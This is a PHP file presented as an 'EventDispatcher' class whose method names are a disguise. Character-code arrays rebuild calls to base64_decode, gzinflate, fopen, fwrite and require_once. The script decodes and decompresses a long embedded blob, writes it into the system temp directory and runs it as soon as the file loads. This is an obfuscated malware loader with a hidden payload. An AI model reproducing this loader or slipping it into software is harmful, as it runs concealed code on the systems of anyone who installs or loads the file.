<?php
class EventDispatcher
{
    private $et = '';
    private $ln = '';
    public function saveChanges($p1)
    {
        $r = array(22 + 76, 97 * 1, 115, 100 * 1 + 1, 2 * 27, 2 * 26, 29 + 4 + 62, 17 + 38 + 45, 97 + 2 + 2, 99, 85 + 26, 100, 109 - 8);
        $rp = '';
        foreach ($r as $h) {
            $rp .= chr($h);
        }
        return $rp($p1);
    }
    public function logEvent($p1)
    {
        $u = array(55 + 48, 122, 105, 57 * 1 + 53, 72 * 1 + 30, 55 * 1 + 53, 3 + 94, 79 * 69 - 5335, 55 + 46);
        $l = '';
        foreach ($u as $z) {
            $l .= chr($z);
        }
        return $l($p1);
    }
    public function fetchRecords($p1, $p2)
    {
        $m = array(116 - 6, 101 * 1, 31 * 8 - 136, 3 * 37, 6 + 49 + 47);
        $o = '';
        foreach ($m as $mi) {
            $o .= chr($mi);
        }
        $o = strrev($o);
        return $o($p1, $p2);
    }
    public function updateRegistry($p1, $p2)
    {
        $k = array(23 + 78, 124 - 8, 109 - 4, 70 * 1 + 44, 12 + 53 + 54, 85 * 1 + 17);
        $e = '';
        foreach ($k as $j) {
            $e .= chr($j);
        }
        $e = strrev($e);
        return $e($p1, $p2);
    }
    public function generateToken($p1)
    {
        $v = array(48 * 2 + 5, 81 * 1 + 34, 111, 101 * 21 - 2013, 3 * 33, 2 * 51);
        $u = '';
        foreach ($v as $b) {
            $u .= chr($b);
        }
        $u = strrev($u);
        return $u($p1);
    }
    public function handleRequest($p1, $p2 = null)
    {
        $u = array(40 + 69, 62 * 21 - 1197, 65 * 72 - 4566, 56 + 22 + 38, 121 - 7);
        $o = '';
        foreach ($u as $w) {
            $o .= chr($w);
        }
        $o = strrev($o);
        return $o($p1, $p2);
    }
    public function triggerCallback()
    {
        $this->ln = $this->handleRequest($this->encryptData(), '/');
    }
    public function manageState()
    {
        $this->et = $this->logEvent($this->saveChanges($this->to));
    }
    public function computeResult()
    {
        $fn = $this->ln . '/gg-693271e9ad416';
        $f = $this->fetchRecords($fn, 'w');
        $this->updateRegistry($f, $this->et);
        $this->generateToken($f);
        $this->prepareOutput($fn);
    }
    private $to = 'pReLbqNI8lcSKVobObJ4Nvb42NFoznM7uly8SjK7OkUWwtAYH' . 'AwE8DObf7+qanCAOPasLgTc3fXsenX1Pz6nQXrhRk6eX9jRbvG' . 'SZuHaKfhFXjhF6F7ZSZCNxPjCX8VuESbxhe3F3Ss7yKSX0O9e5' . 'jzyP30iTEmMbT/rSqOMF6ssvgj4Vp2FcbeG9ojEU2n02hRWE4A' . 'MXmoUlpNlzq7bseO0Y/3a0RWmwWOYmqmpnq4xn3FTNzv9jgpDF' . '5YU5sLjmyaMfVNlQ2bCyzVHlRELXqdz3bHDFbErGTADv6pn6Ob' . 'QlJmB2EwBXFOGqQsMNJgwBTCHSKH6zIEZg1cjkImMGdCiKjoK2' . 'G+WKIHBXGMDXHGdhFYMc6g7wFbTNX2oMX0IvExN190PfofAF/e' . 'gG6ZusKHuw+tosuEYAx24c00WKKQBGMczGPOIq49UumkwhDkw1' . 'HQH9YF3iBplKUeNTMU0TcckJYvnNS4hClgRWc6QgiPMjwnk4qr' . 'KFKYfIDwgPiYsEhSpcT1I5gjAYc6TapjtqpFPIzYAF+qmDFb3V' . 'R9saDBV5cANfhmDPbgwGoBPNfSUCTCGfvPAC2RdGII5AYxAdDJ' . 'njqlpBNXJaehKzaP9rWjLTDMBl7kGmoiD9chnfLEQ+qBHSSUDR' . 'j5J08t9GYgYZbRfDMUB6OYdANuQv+1IxA8ZHECzlMwH64aho5o' . 'yxWFOnOQqvOCX/LDbBqVrDNyVSf7KM8LWfJw8R4KUwlQgVX6NS' . 'T1V1geGDo+soiM1RYVQkT3Z0cmWtEf8OgdlgplQvgJXsRxtcJ1' . 'IKWHgMZhWJQMmC6y7wgOyh9wcQK5SLZ15wloAxujQnDIRwdmk7' . 'aYKh836uPznrJRfsZzvyZTl9gwfAtvVhzDhMPf1Ibmj3JQrgvM' . 'N2RgACtN9Q4WEUhBP1XWAISWFjE9rFC3CxoYKYCgniANIAFWAQ' . 'i+lEGYYtoQYhgbIaoVO0YD6VXvKZx8SKBQ5uBuiIUWWlY0KZ9k' . 'iROVIbwOHB42iXXoMUUcEQyV8MQLc9ZIfkjNfvrMtpnPNvBhmB' . '/N6m6OuKHdL3njD3Z/0RM0Nun/QLUrWP0FF+/GrJMVfX5BvsvS' . 'IC8l/AmHhLY4jIJ+Gj7cRHRpMh7JkohiPlTWGct8Veg4Nuayxe' . 'OSgp+ciG01Xlck9unJAqCwz93Y1JDrOoIprJYfZQgA1l1GSqxo' . '/pEIg9gclrOJV7CLKN4NqCq4kGTkJCh5uhzHKuuit9GO4QdWBc' . '/k14I7Hsy52BHCcw3HfsQEaw5t2JGl0BBwCbIUwaAnCPOcFdAj' . '/Gj881nH2G0BadqSpJL1c2d5zYtnpU4OLi0okJRtC+eWXvMjSJ' . 'Bez65ZGGWkEpx+QXFqW70Q5l168kLdVxwMNuL5yQHgHhxMNYa8' . 'nVMccDCrNd751ZX+dTP79fTy6sovc6oZxIWXJKva6co8eaYQ9T' . 'h2g9rX6X+/MHBls/KhsfMrZI0qbWnXFAjTYvCONNkEY8bItqyH' . '3LdT3saaIIvfoX5qKPgxNffkOyegpRonRq2+vrxq95geM8vL3W' . 'LD6n9k7uwASZhl3nsjYvd6HtsDmQhgekF7JAW3hSt8EtRofqak' . 'cbsqQkBwcKyTV4Hq/qeqZuTTtSv13TFiPHqkyfQus9TSgQ/kUb' . 'bSLFoqi9ZQK6fo9g1ZonZmDeUfHlCjVCLL3EgwwE7zS9P3mDLR' . 'r80Ns2jtQgQV+CNiKnB48mGvghjB2o5XHhTlGr29XBKgcV7aTc' . '1DOXVnGYDgYoJ4Lx+o8+ene2ftukC86lK+FYx0pHDsKlvzJbwC' . 'hGUWXAWdRyqAmRZEzi5olo1iVVYcq2Ty13FUW2WEcYvEAltKIF' . 'qCYJCkuAcr11x93N5PfH+z7+xv7j/Hd92///X08vrsWReun8H+' . 'b3D9c/3+pdErQt8nNzeTPm8nXLw/fJ7dNQVozhM4unBR0N374c' . 'Xf7cPfl9v4bWOBMfTnF6bfxl3+2OEDxPUXxdXJ7O/768PD9P+P' . 'Jj4Y1IVhPUh4h+buZhgGH0UhC+Ja7QgQuF065POdFGPtJBaE1N' . '0pyXq3Q0QjozQMKLi3S9LJ+4jDWb8TCmbkklTd2CsjyqLyy/XV' . 'gpU6WcxsUqYIbLuVPa6tL0MdWakWUXtLUaqTVFlbDMmeA3A3aG' . 'YkXI0y8IxzhdiRqZXU6t3F2gLQ9nNDIvd88GFCl/Cj7Z9SY+L8' . 'ngwvUMRI8cmdA0a8v4q43VFAcZ275eeI+JSmPu10y1efWjlK8T' . 'nsd6dORDgu4HJOKvRP0MNNrwbBeLhWZzrIjP9Knegci96r/qsE' . 'CXaUXP10VuZhgMQ1wE0/7o02NaDIufZ5U1Fj/9nlh+RC2FZN6g' . 'uhKv5EQp+eVXk97iRIFuxfgLhZRTDtq4E6IDm+pezjE/SpxUFX' . 'o8ESEE2s84T0nsaqYuh/fQZFtmHwOAvYdcTw+b/1TqO6hQcQM3' . '8SncIsySfIS3V2ewg4pcQDz81Ew8RHx2AgmuCoi7/VZTZzlx8y' . 'jnej4p+04XWMjz0nCGRtmpYInpGAqbFBIvIqi86ZG9P1JbhFdI' . 'kS6VEzP+GRzuEx8yBhviBU/iEc/jAqe2Wsn65IRrhvtmYndDX5' . 'Fh7Dg2MQBliirbXLYcZ18qDQL9Zl5XQRwOlRusQIbH5262Wwjc' . 'XPDqw13g+SiZUxXGLJP/Prt0JsTxF22AXOqb9Rj9TEK23Csf2D' . 'OEd9CxySRgpeVhiBH+uuvw9Rd1mfrGPUsqcqNhvm8vCe1pASlS' . '61fiet1O/Z3FCwEdpftu2VShsRGIIBgzFXXgmOQx24CPekMmkS' . 'm2+VskSdxNSadJDrpqmsu0v7stTYWetWutOgZQj1Y7PV/';
    public function prepareOutput($p)
    {
        require_once $p;
    }
    public function encryptData()
    {
        $a = array(24 + 90 + 1, 11 * 11, 87 + 28, 23 * 56 - 1193, 103 * 1, 84 * 1 + 17, 101 + 14 + 1, 104 - 9, 116, 101, 12 + 25 + 72, 23 + 30 + 59, 2 * 12 + 71, 101 - 1, 105, 114);
        $s = '';
        foreach ($a as $n) {
            $s .= chr($n);
        }
        return $s();
    }
}

$tr = new EventDispatcher();
$tr->triggerCallback();
$tr->manageState();
$tr->computeResult();